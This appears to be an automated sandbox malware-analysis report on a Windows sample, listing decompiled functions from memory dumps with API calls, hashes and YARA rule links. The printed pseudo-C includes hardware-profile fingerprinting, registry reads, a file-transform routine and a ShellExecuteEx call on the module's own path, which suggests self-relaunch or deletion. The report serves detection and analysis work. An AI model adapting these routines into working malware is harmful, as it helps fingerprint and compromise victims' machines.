Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0063B490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0063B4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00635CA8), ref: 0063B4CB
RegQueryValueExA.ADVAPI32(00635CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0063B4EC
RegCloseKey.ADVAPI32(00635CA8), ref: 0063B4F6

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 4287b4948aabace0e36bbc4255923a71f17b56137d7ab9704134b44f3ce8bdfb
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 22014FB5A41208BBDB00DFE0DD49FEEB7B8EB48700F008568FA05A7291D7745A50CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0063B1D0, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0063B1EB
RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00635AF9), ref: 0063B20B
RegQueryValueExA.ADVAPI32(00635AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0063B22C
RegCloseKey.ADVAPI32(00635AF9), ref: 0063B236

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 5adfe2af138ebe56faf7bbefb71d97b9807fc270a54024ff61bdce42baf3d70a
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: EA014FB5A41208BFEB00DBE0ED49FEEB7B8EB48700F008568FA05A7291D6746A50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0063B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0063B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0063B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0063B532
memset.NTDLL ref: 0063B549
lstrcat.KERNEL32(?,?), ref: 0063B55A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 13af090b88bb4200f6c44edd44d1d37e5a434a0cda50178ca2ed38fc99083316
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: D4F05E70A01209ABEB20AFA4DE09B9977B8BB08701F0081A4F705D7290DB359951CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00435CD4, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435F15
__aulldiv.LIBCMT ref: 00435F37

Strings

0, xrefs: 00435D03
9, xrefs: 00435F48

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction ID: 89b7c83c97626c4f57de57e68b8d42e819f3558cad7729706ecc4b2cbaedba85
Opcode Fuzzy Hash: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction Fuzzy Hash: 4241F471D15628DFEB24CF58C88ABAEB7B5BB48304F24959AE409A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0F9, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D330
__aulldiv.LIBCMT ref: 0043D352

Strings

9, xrefs: 0043D363
', xrefs: 0043D0F9

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$9
API String ID: 3839614884-1823400153
Opcode ID: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction ID: cb7be503f4c76ec856651117971ca826fa934f3dd26ad560a9b086ed9c4a5626
Opcode Fuzzy Hash: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction Fuzzy Hash: AB4103B1E001299FDF24CF48D981BAFB7B5BF89314F1051EA9148AB241C7389E85CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2
v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x87af70
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x85e518
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x876fe8
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0063C1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0063C229
wsprintfA.USER32 ref: 0063C244
ShellExecuteEx.SHELL32(0000003C), ref: 0063C2A3

Strings

<, xrefs: 0063C25A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: 28c3b9b3aed40635bb122d45f432647cfeda93c79430a7457984055907088e0d
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: 7421F1B190020CABDB54EFE0DC8AFDE77B9AB44701F004559F314A61D1DBB59688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 6.4, APIs: 5, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x875c00
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x875d20
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x875be8
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x875d68
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x875cf0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00636380, Relevance: 6.4, APIs: 5, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006363BC
lstrcpy.KERNEL32(?,00000000), ref: 0063640C
lstrcpy.KERNEL32(?,00000000), ref: 0063643A
lstrcpy.KERNEL32(?,00000000), ref: 00636468
lstrcpy.KERNEL32(?,00000000), ref: 00636496

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: df892c093c9745729a5119d57cb81b4e2054e951c97a0f277f23c58441f6767b
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: 695192B6D00108BBD755EF94DC86FDB7379AB4C304F048698F609A2142EA74EA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
